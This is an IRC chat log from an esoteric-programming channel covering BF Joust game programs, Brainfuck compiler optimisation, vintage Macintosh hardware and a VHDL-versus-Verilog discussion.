11:35:58 <EgoBot> Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bc bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dc dimensifuck echo forth glass glypho google gregor hello kipple lambda lazyk linguine malbolge num ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodaw
11:36:28 <AnMaster> when is the "speak like Yoda" day now again?
11:36:46 <AnMaster> !yoda May the force be with you
11:36:53 -!- ais523 has joined.
11:36:57 <AnMaster> GregorR-L, pretty sure it exists
11:37:17 <AnMaster> GregorR, anyway you need to handle this truncation issue
11:37:48 <GregorR-L> Yeah, !help is too long and I'm not sure what I want to do about it >_>
11:38:09 <ais523> GregorR-L: output more than one line, maybe?
11:38:23 <AnMaster> GregorR, display something like "for listing userinterpreters use !whatever", for listing special commands use !whatever
11:38:31 <AnMaster> use a different whatever of course
11:38:41 <AnMaster> splitting it in logical sections
11:39:04 <AnMaster> like addinterp daemon daemons delinterp help info kill show in one group
11:39:25 <EgoBot> Sorry, I have no help for adjust!
11:39:54 <AnMaster> GregorR, anyway what do you think about the split group thingy?
11:40:30 <GregorR-L> With its current form that would be a GIANT pita.
11:40:36 <ais523> ehird, when you get here: you might be interested in the discussion here: http://ask.slashdot.org/story/09/05/31/187208/VHDL-or-Verilog-For-Learning-FPGAs?from=rss
11:40:39 <GregorR-L> However, it's probably the best idea :(
11:40:44 <dbc> Since a lot of these programs have deletion loops ending in ]], there isn't a way to break out of them by setting one's flag to 0 for only one turn, after the loop has been entered. So instead the solution is presumably to keep it in the deletion loop longer by pushing the thing past 0 every time it zeroes it, and in between, going on and working on reducing the enemy flag.
11:40:56 <ais523> adjust is an esolang, I think
11:41:06 <ais523> either that, or turning the flag the other way faster
11:41:11 <ais523> that's how all my defend-number programs work
11:41:24 <AnMaster> GregorR, !bfjoust should clearly not be in same group as for example !daemon. Since !daemon is one of those "meta" commands
11:41:45 <AnMaster> GregorR, from a user viewpoint they are rather different
11:41:46 <ais523> also, dbc, if you are who I think you are, it's an honour to have you in this channel
11:42:32 <ais523> AnMaster: Daniel B Cristofani, one of the world's best Brainfuck programmers
11:42:40 <dbc> Wouldn't that be less efficient? I'm thinking IF you actually have the other program identified, then you only need to spend one or two cycles of 256 foiling attempts to zero your flag, and the rest can be used to clear out the other flag?
11:42:44 <AnMaster> where did I see that name recently...
11:42:44 <dbc> Yeah, that's me. Thank you.
11:42:58 <AnMaster> oh yes. in the semi-optimised output of LostKing...
11:43:02 <ais523> dbc: if you have the opponent identified, efficiency doesn't matter any more
11:43:05 <AnMaster> (in the compiler I'm working on)
11:43:18 <ais523> and if you don't, reversing the direction sometimes works even if you're approximately right
11:43:36 <ais523> also, it's very hard to tell loops that work like [---++] from loops that work like [....+] with BF-style observations
11:43:42 <dbc> Yeah, you're right. Premature optimization etc.
11:43:45 <ais523> the first probably needs several cycles foiling attempts to zero
11:43:50 <GregorR-L> [If you want to identify opponents, you should be playing FYB instead of BF Joust :P ]
11:44:33 <AnMaster> os("\n Daniel B Cristofani (http://www.hevanet.com/cristofd/)\n Jeffry Johnston (http://lilly.csoft.net/~jeffryj/)\n Ian Haberkorn (No web site)\n Javri aka Katzy (http://www.nostalgia8.org)\n\nExtra credit goes to:\n Daniel without whom this project would have been so much poorer\n Jeffry without whom this project would not have been possible\n");
11:45:13 <AnMaster> ais523, also I know that lostkingdom contains an easter egg, I don't know what it is though...:
11:45:15 <AnMaster> os("\n\nYou have activated the easter egg");
11:45:37 <ais523> AnMaster: you have LostKng's original source?
11:45:52 <AnMaster> ais523, ... no that is from my optimised compiled C program of lostking
11:46:02 <dbc> The approach I was thinking of, which is of course useless against any new program, is to identify the program and length solely by the exact number of cycles before it zeroes your decoy.
11:46:03 <AnMaster> ais523, I constant fold output as you know
11:46:21 <ais523> dbc: with random tape length, you'd need to be a bit more clever than that
11:46:29 <ais523> (or with check-all-tape-lengrhs)
11:46:37 <dbc> I was thinking check-all.
11:46:51 <ais523> some programs look identical to such analyses, though
11:47:05 <ais523> e.g. defend6/7/9 will never zero your decoy at all
11:47:21 <ais523> nor would vibration_fool_faster or jump2, although they've fallen off the hill
11:47:35 <ais523> and many attack programs will start much the same way, so they'd be hard to tell apart
11:47:47 <dbc> Yeah...after a certain time you know it's a defensive one and then you do have to do some other check. But then you have time to do so.
11:47:49 <ais523> (actually, vibration_fool_faster did zero eventually, but after about 10000 cycles)
11:48:43 <ais523> !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127(-+)*5000[[[>[---]+]+]+]
11:48:49 * ais523 wonders how it would do on the present hill
11:48:51 <EgoBot> Score for ais523_vibration_fool_faster: 12.2
11:48:59 <ais523> and the answer is "not very well"
11:49:45 <ais523> !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127(-+)*50000
11:50:02 <EgoBot> Score for ais523_vibration_fool_faster: 10.6
11:50:25 <ais523> !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127.(-+)*50000
11:50:35 <ais523> if that's different, I think I hit a bug in egojoust
11:50:40 <EgoBot> Score for ais523_vibration_fool_faster: 11.3
11:50:54 <ais523> heh, loads of draws now
11:51:06 <ais523> egojoust must count a program as losing if it times out with its flag on 0
11:51:34 <ais523> !bfjoust fool_faster >>>>>>>>>+[[[>[---]+]+]+]+[[[>[---]+]+]+]
11:51:41 <EgoBot> Score for ais523_fool_faster: 4.2
11:52:57 <ais523> !bfjoust speedy19 (>)*15([(+)*19[-]]>)*14[[-]][[-]]
11:53:05 <EgoBot> Score for ais523_speedy19: 11.7
11:53:30 <ais523> still last, and it loses to the programs it's meant to beat...
11:53:51 <ais523> !bfjoust speedy19 (>)*10([(+)*19[-]]>)*19[[-]][[-]]
11:53:58 <EgoBot> Score for ais523_speedy19: 20.8
11:58:59 <ais523> still not /good/, but I like to have a few speedies up there to get rid of the really slow programs
12:14:43 -!- MizardX has quit ("Dead pixels in the sky.").
12:22:25 <ais523> AnMaster: a bug in in-between?
12:22:32 <ais523> does p change in between?
12:22:45 <AnMaster> possibly the use of p[-1] has been optimised out there
12:22:58 <ais523> do you keep rerunning your optimisation templates until none of them match/
12:23:02 <ais523> that's what I do in OIL
12:23:02 <AnMaster> since there were some loops -> polynomial conversion
12:23:13 <AnMaster> ais523, I keep rerunning all the passes until the tree doesn't change any more
12:23:19 <AnMaster> ais523, since not all passes are simple matches
12:23:25 <AnMaster> like for example the constant propagator
12:23:39 <ais523> well, in C-INTERCAL I do constant propagation by pattern matching
12:23:46 <AnMaster> anyway I optimise away those two p[-1] accesses now
12:23:59 <AnMaster> ais523, well constant/copy propagation
12:25:31 <AnMaster> ais523, anyway it is done by building a dict with offset as key as I go along. I plan a pass that converts things to dependency graphs and then re-serialises stuff back to the parse tree at the end.
12:25:48 <AnMaster> this would allow me to do some stuff that is infeasible currently
12:26:29 <AnMaster> ais523, anyway currently I'm working on making the shifter handle polynomials fully. So it can sort other instructions relative them.
12:26:44 <ais523> well, I'd better go off to an exam
12:26:52 <ais523> so bye for now, I'll be back later
12:26:53 -!- ais523 has quit (Remote closed the connection).
12:27:10 <AnMaster> btw, that p[-1] pattern happens quite a few times in lostking
12:27:31 <AnMaster> always in code related to output long descriptions it seems
12:45:46 <dbc> Rewriting a compiler for a BFBasic subset that will cut lostkingdom's length dramatically has been on my to-do list for years. I'm a big procrastinator.
12:46:14 <AnMaster> dbc, you have the original source?
12:47:42 <dbc> Probably somewhere.
12:47:58 <AnMaster> The current lostkingdom in bf contains some dead loops btw.
12:48:06 <dbc> Not surprised.
12:48:52 <dbc> I was guessing I could cut the length in half, at least.
12:49:06 <AnMaster> it is however rather easy to optimise it, while something like that mandelbrot.b program (hand written iirc) is a lot harder to optimise.
12:49:32 <AnMaster> every [-] is gold worth for an optimising BF->anything compiler ;P
12:51:19 <lifthrasiir> AnMaster: what target are you considering for "anything"? ;)
12:51:36 <AnMaster> lifthrasiir, anything but outputting again to bf? ;P
12:51:56 <AnMaster> bf-to-bf optimiser could do a lot of stuff on lostkingdom though...
12:52:37 <AnMaster> dbc, any idea why LostKng.b starts with this rather silly BF code: [-][.]
12:53:01 <AnMaster> it it some sort of sanity test for the compiler/interpreter?
12:53:43 <dbc> Maybe it's meant to say "This code produced with BFBASIC" :)
12:55:00 <AnMaster> it would be interesting to get character frequency for lostking. I suspect that < and > would be the most common ones...
12:56:27 <AnMaster> (while read -r -n 1 ch; do echo $ch; done < examples/LostKng.b) | sort -n | uniq -c
12:56:42 <AnMaster> far from the fastest way to do it...
12:58:01 <AnMaster> not sure why there is a @ there...
12:58:11 <AnMaster> and those blanks are probably newlines
12:58:56 <AnMaster> oh and interesting. Overall the program is balanced it seemd
12:59:30 <AnMaster> (not in any useful for optimising sense)
12:59:48 <dbc> In what sense then?
13:00:01 <AnMaster> same number of > and < in the program
13:00:18 <dbc> Okay. Are there the same number of > and < within matched [] also?
13:00:28 <dbc> Didn't think so.
13:00:31 <AnMaster> which is why it isn't useful to optimising :P
13:00:32 <dbc> That'd be odd.
13:00:50 <AnMaster> dbc, a bit odd that the total count match up still...
13:02:10 <dbc> Not that odd. The more straightforward things to navigate variable-sized data structures tend to balance, and then if BFBASIC decided to leave the pointer back at point 0 for some reason...which wouldn't be that surprising, though useless...
13:02:39 <AnMaster> as far as I can tell there are no dead <<<<< at the end of the program
13:02:58 <AnMaster> well, maybe there is, but not easily detectable from a quick glance
13:04:06 -!- Sgeo has joined.
13:04:22 <dbc> Maybe they're not totally dead. I don't remember how the whole goto thing was implemented but maybe it actually looks at cell 0.
13:06:11 <AnMaster> dbc, have you seen that gcc-bf thing ais523 is working on? BF backend for GCC.
13:06:23 <dbc> I haven't.
13:06:24 <AnMaster> don't think it is uploaded anywhere atm (due to hosting issues)
13:06:33 <AnMaster> but it produces even more verbose code.
13:07:16 <AnMaster> (due to stdio brining in atexit, which used malloc iirc)
13:08:07 <AnMaster> in a special run length encoding of bf, it is 434K. I haven't seen it fully expanded... Don't think it would be a good idea to try to fully expand it :D
13:09:36 <AnMaster> dbc, http://rage.kuonet.org/~anmaster/hworld1.bfrle
13:09:44 <dbc> Like Von Neumann's self-reproducing automaton, or the number that's the subject of Gödel's theorem, or... :)
13:09:48 <lifthrasiir> AnMaster: that's not a good idea, look at this:
13:09:52 <AnMaster> *44 means "the previous instruction 44 times
13:10:11 <AnMaster> the code before that is just setup of tape
13:12:02 <AnMaster> lifthrasiir, I wonder what "(%999999999 Assertion error)" is there for
13:13:03 <lifthrasiir> so it contains the whole C standard library?
13:14:21 <AnMaster> >*12883[-<*12889+>*6+>*12883] <*12883[->*12883+<*12883] >*12889
13:14:54 <AnMaster> lifthrasiir, it isn't hot on locality of reference I guess ;P
13:15:31 <lifthrasiir> i discovered this source code while uncovering old hard disk: http://hg.mearie.org/esotope/ws/raw-file/51fb8e8aed54/esotope-ws
13:16:05 <AnMaster> lifthrasiir, and why in that shape?
13:16:21 <AnMaster> lifthrasiir, those are some HUGE eyebrows?
13:16:49 <lifthrasiir> AnMaster: that's Tsukamoto Tenma, some random female anime character.
13:17:08 <AnMaster> lifthrasiir, is that really valid python?
13:17:20 <AnMaster> lifthrasiir, what about indention...
13:17:27 <lifthrasiir> the whole source code is in the single, concatenated line.
13:18:01 <lifthrasiir> anyway i cannot understand me 5 years ago still... maybe i had too much spare time.
13:31:32 -!- Corun has joined.
13:47:01 -!- nooga has quit.
14:09:34 <AnMaster> lifthrasiir, do you think it is a good idea to unroll ALL repeat loops?
14:09:52 <AnMaster> currently I only do it for ones containing only set, add and such
14:10:15 <AnMaster> lifthrasiir, repeat loops in mode code are loops with known iteration count, and known balanced.
14:10:22 <lifthrasiir> i think it should unroll MORE loops than now, but not ALL.
14:10:41 <AnMaster> lifthrasiir, which ones shouldn't be unrolled then?
14:11:32 <lifthrasiir> AnMaster: i'm not sure; but if the unrolling requires a solution of linear recurrence equation, it would go certainly wrong.
14:12:09 <lifthrasiir> (for example, some loop can try to generate 1000th fibonacci number.)
14:12:43 <lifthrasiir> AnMaster: int i; for (i = 0; i < 1000; ++i) { p[3] = p[5]; p[5] += p[4]; p[4] = p[3]; } to name a few.
14:12:50 <AnMaster> lifthrasiir, Since iteration count is constant, repeat loop is balanced, and unrolling means "duplicate body of loop iteration count times, then insert" it wouldn't generate broken code.
14:13:05 <AnMaster> lifthrasiir, so an upper limit on iteration count rather?
14:14:31 <lifthrasiir> i think that if there is no code optimized via unrolling, do not unroll.
14:14:33 <AnMaster> lifthrasiir, also, if it only contains sets and adds (but no copies or set_from), unrolling it always will be a gain. Since those will constant fold to pretty much the length of the loop body soon after.
14:14:57 -!- kar8nga has quit (Read error: 110 (Connection timed out)).
14:15:03 <AnMaster> lifthrasiir, I wouldn't know that until much later
14:15:11 <AnMaster> I mean, for comparing "did I gain something"
14:34:14 -!- oerjan has joined.
14:34:29 <Corun> If the loop end condition is trivial enough then you can always gain because you can get rid of the branch instruction in between each run of the loop
14:38:01 <oerjan> <AnMaster> when is the "speak like Yoda" day now again?
14:38:16 <oerjan> so mercifully avoid it, you did
14:38:45 <oerjan> http://www.talklikeyoda.com/
14:39:18 * oerjan is surprised it is not Like Yoda Talk Day. or something.
14:39:25 -!- MigoMipo has joined.
14:41:12 <oerjan> although i recall reading somewhere that yoda actually only mangled a small fraction of his sentences.
14:45:03 <EgoBot> That is not a user interpreter!
14:45:56 <AnMaster> lifthrasiir, btw I solved that "back end independent output while retaining abstraction bit" for polynomials by a fold-like function
14:46:22 <AnMaster> that takes a fun and gives it a stream of tokens.
14:46:39 <AnMaster> it is "not really fold, but I can't find a good name for it"
14:46:59 <AnMaster> lifthrasiir, how did you solve it for your expressions?
14:47:26 <AnMaster> (full expressions are a lot messier to work with than simple polynomials..)
15:04:33 <lifthrasiir> AnMaster: not yet. maybe i'll add some visitor later.
15:04:43 <AnMaster> lifthrasiir, hm I called mine "walker"
15:04:59 <AnMaster> can't see the logic behind the name visitor
15:07:44 <lifthrasiir> AnMaster: essentially same, but not implemented yet
15:08:07 <lifthrasiir> and i think the name visitor is more popular in java, due to its use in visitor pattern
15:08:31 <lifthrasiir> (disclaimer: i don't like patterns in java, and don't like java mostly
15:09:10 * AnMaster tries to work out why this didn't swap: p[1]+=255; o(-42);
15:09:29 <AnMaster> there is no dependency between changing offset 1 and outputting offset -42...
15:12:00 <AnMaster> lifthrasiir, and I'm not sure what I'm doing is a "design pattern"...
15:12:06 -!- impomatic has joined.
15:12:25 <AnMaster> just common idiom for functional languages... Which I guess boils down to something similar...
15:13:12 <impomatic> I've been camping for three days. Any new techniques for BF Joust while I've been gone? Or more of the same?
15:13:49 -!- BeholdMyGlory has joined.
15:15:14 <oerjan> <lifthrasiir> AnMaster: int i; for (i = 0; i < 1000; ++i) { p[3] = p[5]; p[5] += p[4]; p[4] = p[3]; } to name a few.
15:15:33 <oerjan> that would be nicely optimizable with some matrix multiplication, i think :D
15:16:07 <AnMaster> oerjan, what would the output code be
15:16:25 <oerjan> AnMaster: each iteration is essentially multiplying the vector (p[3], p[4], p[5]) by a matrix
15:16:47 <AnMaster> oerjan, tell me what the generated C code would be
15:17:16 <oerjan> AnMaster: the matrix power could be constant folded
15:17:53 <oerjan> so something of the form
15:18:49 <oerjan> p3 = M33*p[3]+M34*p[4]+M35*p[5]; p4 = ...; p5 = ...; p[3] = p3; p[4] = p4; p[5] = p5
15:19:04 <AnMaster> anyway I would constant fold that if I unrolled it anyway.
15:19:10 <oerjan> where the M33 - M55 constants all are 0..255, in modulo arithmetic
15:19:24 <AnMaster> for two iterations: p[3] = p[5]; p[5] += p[4]; p[4] = p[3]; p[3] = p[5]; p[5] += p[4]; p[4] = p[3]; would turn into...
15:19:35 <oerjan> AnMaster: indeed, but exponentiation can be done faster than iterated multiplication
15:19:50 <oerjan> so you would get the same result but faster
15:20:33 <oerjan> because you can calculate M^2, M^4, ..., M^512 matrices and then multiply those
15:20:48 <AnMaster> oerjan, well, my compiler is slow enough anyway ;P
15:21:03 -!- impomatic has left (?).
15:22:09 -!- coppro has quit (Remote closed the connection).
15:25:28 <oerjan> today's IWC seems fine...
15:26:58 <oerjan> also, it seems like the universe might be settling down again after the recreation...
15:28:05 <oerjan> to the degree that having balrogs running around can be considered "settling down"
15:30:22 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
15:30:45 <oerjan> hm, Lightning Made of Owls has _not_ updated...
15:30:52 -!- psygnisfive has joined.
15:31:04 <oerjan> AnMaster: all just couldn't be right, could it
15:33:44 <oerjan> square root of minus garfield contains a math error today...
15:34:00 <oerjan> the title doesn't match the description, because of misplaced parenthesis.
15:34:43 <AnMaster> should be (Minus (Garfield Squared))
15:36:02 <AnMaster> oerjan, odd no one has done anything based on that NESfield thingy
15:36:11 <AnMaster> I would like to see some more of that
15:36:21 <oerjan> now what was that again
15:36:30 <AnMaster> see the archive and look for NESfield
15:37:17 -!- MizardX has joined.
15:37:54 <oerjan> the license on that one is rather dubious...
15:38:53 <oerjan> it's not an actual parody, just sprites presented for later parody, and they are presumably all copyrighted
15:39:42 <oerjan> although an _actual_ parody based on those might be fine
15:40:44 <oerjan> hm i guess the license doesn't apply anyway since it says "original aspects"
15:43:54 -!- oerjan has quit ("Later").
15:49:43 -!- FireFly has joined.
16:02:02 -!- Hiato has joined.
16:04:26 -!- MigoMipo has quit (anthony.freenode.net irc.freenode.net).
16:05:07 -!- MigoMipo has joined.
16:06:24 -!- ais523 has joined.
16:18:02 -!- ais523 has quit (Read error: 104 (Connection reset by peer)).
16:19:38 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
16:23:01 -!- ais523 has joined.
16:26:25 <AnMaster> ais523, I'm reworking option handling. Now it shouldn't be as hard to run in_between on gccbfrle
16:26:36 <AnMaster> still not easy but working on that
16:36:46 -!- Judofyr_ has quit (Remote closed the connection).
16:39:32 <ehird> is the genome just a bad, ad-hoc, genetically evolved programming language? :)
16:39:40 <ehird> 01:27 psygnisfive: man. ehird needs to get fucked ← legal issues there
16:41:37 -!- bsmntbombdood has joined.
16:44:04 -!- darthnuri has quit (Connection timed out).
16:49:15 <ehird> 10:25 AnMaster: GregorR, what about dc... it is a lot easier to use than bc ← you're joking
16:49:25 <ehird> 10:25 dbc: Has anyone done a program that would try seriously to recognize the opposing program? And briefly set its own flag to 0 just long enough to trick the opponent into stepping out of the array? ←yes
16:50:00 <EgoBot> .33333333333333333333333333333333333333333333333333333333333333333333\
16:50:03 <pikhq> ehird: You just need to use an HP calculator.
16:50:55 <pikhq> P doesn't print a newline.
16:50:57 <ehird> 10:41 ais523: also, dbc, if you are who I think you are, it's an honour to have you in this channel ← he's been in here for years constantly
16:51:03 <AnMaster> pikhq, also doesn't it print as ascii?
16:53:39 <ehird> 12:15 lifthrasiir: i discovered this source code while uncovering old hard disk: http://hg.mearie.org/esotope/ws/raw-file/51fb8e8aed54/esotope-ws ← i am sure I have seen this before
16:53:46 <ehird> or maybe just something similar
16:54:44 <ehird> 14:12 AnMaster: just common idiom for functional languages... Which I guess boils down to something similar...
16:54:47 <ehird> idiom=design pattern
16:55:17 <AnMaster> ehird, sure. But "design pattern" sounds like some enterprisy OOP thing... :P
16:55:55 <ehird> that's because it is
16:56:18 <ehird> AnMaster: although it's more like design pattern subset-of idioms
16:56:30 <dbc> My computer has been in here for years constantly. I've been here only intermittently. :)
16:56:37 <ehird> it didn't become as ridiculous until recently btw. ward cunningham and martin fowler have done non-crackhead design patterns stuff
16:56:51 <ehird> AnMaster: In software engineering, a design pattern is a general reusable solution to a commonly occurring problem in software design. A design pattern is not a finished design that can be transformed directly into code. It is a description or template for how to solve a problem that can be used in many different situations. Object-oriented design patterns typically show relationships and interactions between classes or objects, without specifying the fi
16:56:54 <ehird> nal application classes or objects that are involved.
16:56:58 <ehird> idioms are patterns in the language code itself
16:57:04 <ehird> design patterns are patterns in how the code operates
16:58:25 <ehird> 16:56 dbc: My computer has been in here for years constantly. I've been here only intermittently. :) ← computer, you, what's the difference
16:58:36 <ehird> s/ / / god I'm paranoid about whitespace
16:58:59 <AnMaster> ehird, where was that extra whitespace?
16:58:59 <ehird> ais523: that slashdot story has emacs as a tag
16:59:03 <ehird> AnMaster: before ←
16:59:25 * ais523 wonders whether to remove defend6 from the rankings
16:59:25 <ais523> (because it's almost the same as defend7)
16:59:28 <ehird> "Or is this an eternal, undecidable holy-war question along the lines of ATI/nVidia, AMD/Intel, Coke/Pepsi"
16:59:34 <ehird> he managed to put all the correct ones second
16:59:45 <ais523> ehird: well, Emacs is one of the only sane ways to edit VHDL
16:59:49 <AnMaster> <ais523> ehird, when you get here: you might be interested in the discussion here: http://ask.slashdot.org/story/09/05/31/187208/VHDL-or-Verilog-For-Learning-FPGAs?from=rss
16:59:50 <ais523> because VHDL has so much boilerplate
16:59:59 <ais523> Emacs' VHDL-mode fills the boilerplate in for you
17:00:02 <ehird> ais523: i think i prefer verilog
17:00:04 <AnMaster> for some reason that link says "connection reset by server" when I try it
17:00:08 <ehird> that's a language you hack on in vi
17:00:12 <pikhq> Kinda like its RPM-mode?
17:00:28 <AnMaster> $ curl 'http://ask.slashdot.org/story/09/05/31/187208/VHDL-or-Verilog-For-Learning-FPGAs?from=rss'
17:00:28 <AnMaster> curl: (56) Failure when receiving data from the peer
17:00:30 <ais523> ehird: the difference to me seems to be that VHDL is very strict and quadruple-checky, Verilog hand-waves if you write something nonsensical
17:00:31 <pikhq> ehird: Real men use ed.
17:00:40 <pikhq> And implement Vi in it.
17:01:05 <AnMaster> so does http://ask.slashdot.org/
17:01:15 <AnMaster> just not that full link, or clicking on the article
17:01:16 -!- inurinternet has joined.
17:01:20 <ehird> ais523: /me mumbles something about real men
17:01:26 <ais523> AnMaster: Slashdot has gone all Web 2.0 Javascript
17:01:29 <ehird> AnMaster: your internet sux
17:01:32 <ais523> although the fallback to pure HTML mostly works
17:01:35 <ehird> ais523: ridiculous excuse
17:01:37 <ehird> his internet always breaks
17:01:44 <ehird> pikhq: http://imgur.com/zhnig.png
17:01:55 <ehird> the pinnacle of rendering of the pinnacle of diacritics technology
17:01:56 <ehird> AnMaster: I know that
17:02:00 <ehird> AnMaster: I'm saying that your DNS breaks often
17:02:07 <AnMaster> ehird, dns only broke twice or so the last year
17:02:17 <ehird> Well, whatever; you often say links don't work for you.
17:02:21 <AnMaster> ehird, for lycos.fr in both cases
17:02:29 <AnMaster> ehird, sure. But mostly not due to dns
17:03:23 <pikhq> ehird: Minor failure.
17:03:25 <AnMaster> http://ask.slashdot.org/article.pl?sid=09/05/31/187208 <-- that link works for the same thing
17:03:34 <AnMaster> so I guess what ais523 said was the issue
17:03:36 <pikhq> ehird: ı should be centered. :p
17:03:49 <ehird> pikhq: That's a font issue
17:03:54 <ehird> I can render it in Helvetica if you want
17:05:00 <ehird> pikhq: if I do it on one line, it's three dots, bar, circle. If I had more newlines before, more stuff appears
17:05:34 <ehird> pikhq: http://imgur.com/iMicG.png
17:05:39 <ehird> Enjoy with a 100dpi LCD display.
17:05:43 <AnMaster> ais523, so which is best, verilog or vhdl?
17:05:52 <ehird> AnMaster: which is best, C or Erlang?
17:05:56 <pikhq> Looks about right.
17:06:05 <AnMaster> ehird, ah, is it that type of question
17:06:21 <AnMaster> rather than "which is best, C or C++"
17:06:21 <ehird> VHDL if you want to be damn sure nothing went wrong at all
17:06:25 <ehird> verilog if you actually want to get shit done
17:06:31 <ehird> AnMaster: but most likely?
17:06:39 <ehird> AnMaster: Whatever your institute has an okay compiler for.
17:06:49 <ehird> Unless you're rich and can afford one yourself.
17:08:33 <ehird> A resolution with exactly 120 dpi at 12".
17:09:09 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
17:09:28 <AnMaster> ehird, 12" makes me think more in the terms of "800x600"
17:09:38 <AnMaster> (which my old first model ibook was)
17:09:51 <ehird> AnMaster: Yes, well, 800x600 is kind of unusable.
17:10:04 <AnMaster> ehird, my ibook was iirc 12" (or 12.5"?) and resolution was 800x600
17:10:13 <ehird> that's a bit small for 2001.
17:10:18 <ehird> AnMaster: so, OS X then?
17:10:23 <ehird> OS X isn't happy with 800x600, really
17:10:35 <AnMaster> ehird, OS X didn't exist back then
17:10:40 <ehird> os x came out in 2001.
17:10:44 <ehird> public beta in 2000
17:10:49 <ehird> if you bought an ibook in 2000, it was os 9.
17:10:57 <ehird> i'll look it up on infallopedia, anyway
17:11:19 <AnMaster> ehird, it might have been late 1999 even. Depends on when the first ibook was released.
17:11:29 <AnMaster> since it was pretty soon after the first one was released
17:11:32 <ehird> discontinued may 1 01
17:11:44 <AnMaster> ehird, then probably late 1999 or early 2000
17:11:48 <ehird> AnMaster: mac os 9 = oct 23 99
17:11:53 <ehird> so you almost certainly had os 9...
17:12:05 <AnMaster> ehird, I have the CD here... says 8.5 on it
17:12:13 <ehird> Must be an old one that wasn't sold
17:12:46 <AnMaster> wait, that is the wrong computer. The ibook one is 8.6 in fact. the 8.5 cd is from another old mac
17:12:53 <ehird> oh, 1152x864 is a great resolution
17:16:18 <ehird> Guys. Scientific facts.
17:17:35 * AnMaster gets nostalgic and boots the old ibook
17:17:48 <ehird> AnMaster? Liking some sort of mac?
17:18:15 <ehird> I believe I went something → 10GB → 80GB
17:18:21 <AnMaster> and glitches in power connector, dead battery
17:18:27 <ehird> (→ 500GB although that was just for media, w/ 80GB for OS)
17:18:38 <AnMaster> so "very still tabletop" nowdays
17:18:40 <ehird> (TIME MACHINE WHOOSH → 160GB/1TB)
17:18:45 <ehird> wait, no, this HD is 230GB
17:19:05 <ehird> AnMaster: i'd like to see that try and boot os x
17:19:15 <AnMaster> ehird, I don't have any OS X CD
17:19:31 <AnMaster> ehird, and it could probably boot OS X 10.0 or so
17:19:55 <ehird> AnMaster: what processor is it?
17:20:10 <AnMaster> ehird, G3... let me wait for it to boot so I can check details
17:20:26 <ehird> i had a g3 imac for a few days (i broke the optical drive so it won't boot an install cd and had previously fucked up the OS on it, kekekeke)
17:20:32 <ehird> 233mhz proc or something
17:20:37 <ehird> 16MB of ram or something?
17:20:46 <ehird> the hd was upgraded to 4gb i think
17:20:54 -!- bsmntbombdood has joined.
17:21:25 <AnMaster> sounds like the harddrive is half dead
17:21:29 <ehird> i can't think of laptops as loud they're so small :D
17:21:40 <ehird> AnMaster: I have an old beige powermac running os 8 or 9 in the corner collecting dust
17:21:42 <ehird> god that thing's loud
17:21:44 <ehird> you can't hear yourself think
17:21:46 <AnMaster> ehird, very loud and high pitched
17:22:12 <AnMaster> so probably something half-broken
17:22:33 <AnMaster> just checked in "Apple Systeminformation"
17:23:10 <ehird> i should wire up my power mac and g3
17:23:18 <ehird> and get back that really old ~486 i had
17:23:23 <ehird> and put plan9 on them
17:23:26 <ehird> DISTRIBUTED COMPUTATION NETWORK
17:23:40 <ehird> that's how you do a plan 9 cpu server
17:24:14 <ehird> I thougth you meant
17:24:20 <ehird> connect my machines with ethernet
17:24:28 <AnMaster> ehird, this won't work when everything goes IPv6 in 2050 or so :P
17:24:28 <ehird> AnMaster: does it have IE or netscape?
17:24:43 <ehird> IE 5 for the mac was sort of okay
17:24:45 <AnMaster> ehird, I upgraded it to OS 9 later.
17:24:49 <ehird> separate codebase from windows ie
17:25:50 <pikhq> ehird: Yeah. It actually had rendering vaguely close to that specified by the standard.
17:26:03 <ehird> http://en.wikipedia.org/wiki/File:IMac_G3_flavors.jpg ← Flower Power is totally trippy.
17:26:21 <ehird> If I was gonna buy an old imac way back then I'd have got a graphite or snow one since I'm soooooooo boring
17:28:44 <AnMaster> ehird, I think this *ibook* is "bondi blue"
17:29:15 <AnMaster> ehird, this colouring: http://en.wikipedia.org/wiki/File:IBook_redjar.jpg
17:30:29 <AnMaster> ehird, ah yes it is the harddrive that is making the sound
17:30:38 <ehird> KRRRRRRRR KRRRRRRRRRRRRRR
17:30:39 <AnMaster> since it just put the harddrive into sleep it stopped the sound
17:30:51 <ehird> I AM AN UNRELIABLE, SLOW DISK HERE ME ROAR
17:30:52 <AnMaster> WHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIME
17:31:38 <ehird> If you are pro-letting-society-kill-babies-without-lying-about-it-for-the-greater-good then you are in my camp, welcome.
17:31:43 <ehird> (from reddit troll)
17:31:46 <ehird> what I meant to paste was:
17:31:48 <ehird> Part of the reason is that Verilog, being much like C, is inherently procedural. You don't want to think procedurally with digital logic except for the specific case of state machine design, and even then you have to take into account concurrency. It is this fundamental aspect of concurrency in HDLs that is key to being able to design effectively.
17:31:51 <ehird> ais523: is this true?
17:32:14 <ais523> VHDL/Verilog must not be written in a procedural way for actually generating code
17:32:26 <ais523> Verilog was originally designed for verification, where procedural code is fine
17:32:41 <ais523> but for synthesizing/compiling rather than verifying, writing in a procedural way will give you a mess
17:32:53 <ais523> the only procedural structures that work are if and for, and they're both unrolled
17:34:06 <ais523> AnMaster: Verilog was originally designed for writing testsuites for hardware circuitry
17:34:13 <ais523> whereas VHDL was designed for generating it
17:34:20 <ais523> although they've both stolen all the features of the other
17:34:24 <ais523> so nowadays, either can do either
17:34:26 -!- trainman419 has joined.
17:34:30 <AnMaster> ais523, ok... how would verilog for testing vhdl generated hardware work?
17:34:44 <ais523> AnMaster: you can use VHDL/Verilog to describe how hardware behaves
17:34:49 <pikhq> AnMaster: Verilog for testing hardware. In general.
17:35:01 <ais523> most high-end synthesis tools will produce a Verilog/VHDL version of the hardware they've produced
17:35:08 <ais523> (yes, this involves compiling VHDL to VHDL sometimes)
17:35:19 <AnMaster> so then you can run that in a simulator to test it?
17:35:29 <ais523> yes, and the simulator would also be written in VHDL/Verilog
